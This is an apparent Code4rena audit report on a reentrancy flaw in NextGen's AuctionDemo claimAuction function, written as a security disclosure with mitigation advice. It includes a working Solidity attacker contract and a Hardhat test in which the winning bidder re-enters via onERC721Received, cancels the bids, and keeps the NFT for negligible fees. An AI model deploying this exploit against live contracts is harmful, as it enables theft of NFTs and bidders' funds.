Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

The auctionDemo contract is susceptible to a re-entrancy attack, allowing the attacker to steal the bidded NFT while spending only a negligible amount in fees. Additionally, the attacker may need to pay fees in a MEV (Miner Extractable Value) context to increase the likelihood of success.

The most challenging but straightforward condition for the attack is to execute the call to claimAuction within a block where the block.timestamp is equal to the auctionEndTime. Given the considerable flexibility of timestamps in mined blocks and the low risk for the attacker, a MEV operation can fulfill this condition. In this scenario, the attacker would offer a premium for a transaction that will revert unless it is mined with the desired block.timestamp. Alternatively, an attacker equipped with validation power, can strategically plan his attack around this power.

Proof of Concept

The complete exploit is enabled by multiple issues. It's important to note that each of these individual issues may also pose a risk for other, less severe attacks.

The first issue is claimAuction's failure to update the auctionInfoData[_tokenid][i].status variable to false prior to executing transfers and handling over execution to the receiver:

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); // <--- Possible Re-entrancy, with status still `true`
                (bool success, ) = payable(owner()).call{value: highestBid}(""); // <--- Possible Re-entrancy, with status still `true`
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); // <--- Possible Re-entrancy, with status still `true`
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

The second issue lies in the fact that both claimAuction and the functions responsible for cancelling bids (cancelBid and cancelAllBids) permit an overlap in time, allowing their block.timestamp require statements to simultaneously pass.

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125

        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135

        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

The final issue pertains to the unchecked return value of low-level calls in the functions claimAuction, cancelBid, and cancelAllBids. Under certain conditions, this could serve as a final deterrent by reverting when the auctionDemo contract is unable to fulfill its obligations to a bidder or the seller. Another problem caused by this is that if there is any failed payments, the funds are permanently stuck in the contract.

All of this together opens the possibility for the receiver to call cancelBid or cancelAllBids and reclaim the bidded balance while claimAuction is executing. A losing bidder could exploit this vulnerability to double his balance, but the more interesting scenario is when the winner use this vulnerability to steal the NFT while incurring only a negligible amount in fees. This last attack is precisely what the executable PoC will showcase.

Demonstration

For clarity, let us perform a quick test in the codebase.

Create a new file at hardhat/smart-contracts/audit/auctionReentrancy.sol and add the following content:

pragma solidity ^0.8.19;

import "../IERC721.sol";

interface IAuction {
    function participateToAuction(uint256 _tokenid) external payable;
    function claimAuction(uint256 _tokenid) external;
    function cancelAllBids(uint256 _tokenid) external;
}

contract AuctionReentrancy {
    address attacker;
    IAuction auction;
    uint256 endTime;

    constructor(address _attacker, address _auction) {
        attacker = _attacker;
        auction = IAuction(_auction);
    }

    function bid(uint256 _tokenId) external payable {
        auction.participateToAuction{value: msg.value}(_tokenId);
    }

    function attack(uint256 _tokenId, uint256 _endTime) external {
        endTime = _endTime;
        auction.claimAuction(_tokenId);
    }

    function onERC721Received(address, address, uint256 _id, bytes memory) external returns (bytes4) {
        if (block.timestamp == endTime) {
            auction.cancelAllBids(_id);
        }
        IERC721(msg.sender).safeTransferFrom(address(this), attacker, _id);
        return this.onERC721Received.selector;
    }

    receive() external payable {
        (bool success, ) = payable(attacker).call{value: msg.value}("");
        require(success, "Payment failed");
    }
}

Additionally, create the Hardhat test file at hardhat/test/predictablyRandom.js with the following content:

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai")
  const { ethers, network } = require("hardhat")
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")

  let signers
  let contracts

describe.only("Audit: Auction Re-entrancy", function() {
    before(async function () {
        ;({ signers, contracts } = await loadFixture(fixturesDeployment))

        await contracts.hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            ["desc"],
        )

        await contracts.hhAdmin.registerCollectionAdmin(
            1,
            signers.addr1.address,
            true,
        )

        await contracts.hhCore.connect(signers.addr1).setCollectionData(
            1,                      // _collectionID
            signers.addr1.address,  // _collectionArtistAddress
            2,                      // _maxCollectionPurchases
            10000,                  // _collectionTotalSupply
            0,                      // _setFinalSupplyTimeAfterMint
        )

        await contracts.hhCore.addMinterContract(
            contracts.hhMinter,
        )

        await contracts.hhCore.addRandomizer(
            1, contracts.hhRandomizer,
        )

        await contracts.hhMinter.setCollectionCosts(
            1, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            1, // _timePeriod
            1, // _salesOptions
            '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
        )

        await contracts.hhMinter.setCollectionPhases(
            1,            // _collectionID
            100,          // _allowlistStartTime
            3333333333,   // _allowlistEndTime
            100,          // _publicStartTime
            3333333333,   // _publicEndTime
            "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
        );

        const auctionFactory = await ethers.getContractFactory("auctionDemo");
        contracts.auction = await auctionFactory.deploy(
            contracts.hhMinter.getAddress(), contracts.hhCore.getAddress(), contracts.hhAdmin.getAddress()
        );

        const reentrancyFactory = await ethers.getContractFactory("AuctionReentrancy");
        contracts.reentrancy = await reentrancyFactory.deploy(
            signers.addr2.address, // Attacker's address
            contracts.auction.getAddress(),
        );
    })

    it("Perform a successful re-entrancy attack", async function() {
        // Addresses and attacker's balance
        const victim = signers.addr1;
        const attacker = signers.addr2;
        const attackerStartBalance = await ethers.provider.getBalance(attacker);

        // Reusable parameters
        const auctionEndTime = 3333333333;
        const tokenId = 10_000_000_000;

        // Mint a token and send it to auction
        await contracts.hhMinter.mintAndAuction(
            victim.address, // _recipient
            "auction",      // _tokenData
            0,              // _saltfun_o
            1,              // _collectionID
            auctionEndTime, // _auctionEndTime
        );
        // Approve the Auction contract to move the token
        await contracts.hhCore.connect(victim).approve(contracts.auction.getAddress(), tokenId)

        // Simulating a normal users participating in the auction just because...
        contracts.auction.participateToAuction(tokenId, {value: 1000000000000000000n});

        // 1. Eventually the attacker contract bids a winning bid. Prefer a "fair" or cheaper price for this attack as we risk buying the NFT.
        await contracts.reentrancy.connect(attacker).bid(tokenId, {value: 2000000000000000000n}); // 2 ether

        // 2. Sets the next block timestamp to simulate conditions necessary to the attack.
        await network.provider.request({
            method: "evm_setNextBlockTimestamp",
            params: [auctionEndTime],
        });

        // 3. Attacker 
        const bidIndex = 1;
        await contracts.reentrancy.connect(attacker).attack(tokenId, auctionEndTime);

        // 4. Attacker owns the NFT without paying the full price for it
        expect(await contracts.hhCore.ownerOf(tokenId)).to.equal(attacker.address);

        // On my side, I have consistently got 389346667624235 wei/0.000389346667624235 ether.
        // Since I'm not really sure if these values vary in other Hardhat setups and versions, I'm testing
        // for a higher, but still negligible, amount. In case this test fails in your setup, please, make
        // sure `attackerSpent` is not another negligible amount, but higher than the tested below.
        const attackerSpent = attackerStartBalance - await ethers.provider.getBalance(attacker);
        expect(attackerSpent).to.be.below(1000000000000000); // Attacker has spent below 0.001 ETH
    })
})

Next, since we are using .only to only run our test, execute the following command from within the hardhat directory:

$ npx hardhat test

Tools Used

Manual: code editor, Hardhat.

Recommended Mitigation Steps

Follow the Checks-Effects-Interaction (CEI) pattern. In claimAuction, update auctionInfoData[_tokenid][i].status before performing any external calls;
Do no use equality in both >= and <= in the require statements as this allows for overlap. For example, use and stick to <= (less than or equal to the auctionEndTime) and > (greate than auctionEndTime);
Check the return value of external calls, and decide what to do with them (e.g. revert a status change). Also, consider safer functions.
Consider the approach to follow: reverting the whole claimAuction transaction in case of error or storing failed payments to allow them to be re-tried, instead of locking funds in the contract.

Assessed type

Reentrancy

code-423n4 / 2023-10-nextgen-findings

Auction's `claimAuction` Re-entrancy Attack #1786